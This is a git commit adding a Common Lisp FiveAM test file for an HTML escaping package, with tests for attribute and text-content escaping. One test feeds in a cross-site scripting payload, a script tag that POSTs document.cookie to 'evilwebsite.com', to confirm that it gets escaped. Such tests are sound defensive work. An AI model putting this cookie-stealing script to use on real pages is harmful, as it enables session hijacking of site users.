Add escaper package

This commit is contained in:
Akira Tempaku 2024-05-31 18:39:25 +09:00
parent f9bf53042f
commit 19c5e5a2c1
5 changed files with 71 additions and 5 deletions

20
tests/escaper.lisp Normal file
View file

@ -0,0 +1,20 @@
(defpackage #:hsx-test/escaper
(:use #:cl
#:fiveam
#:hsx/escaper))
(in-package #:hsx-test/escaper)
(def-suite escaper-test)
(in-suite escaper-test)
(test escape-html-attribute
(is (equal ""foo""
(escape-html-attribute "\"foo\""))))
(test escape-html-text-content
(is (string= "&<>"'/`="
(escape-html-text-content "&<>\"'/`=")))
(is (string=
"&lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;"
(escape-html-text-content
"<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>" ))))

View file

@ -65,5 +65,3 @@
(li "foo")
frg
(li "brah")))))))
;; TODO: Add escaping test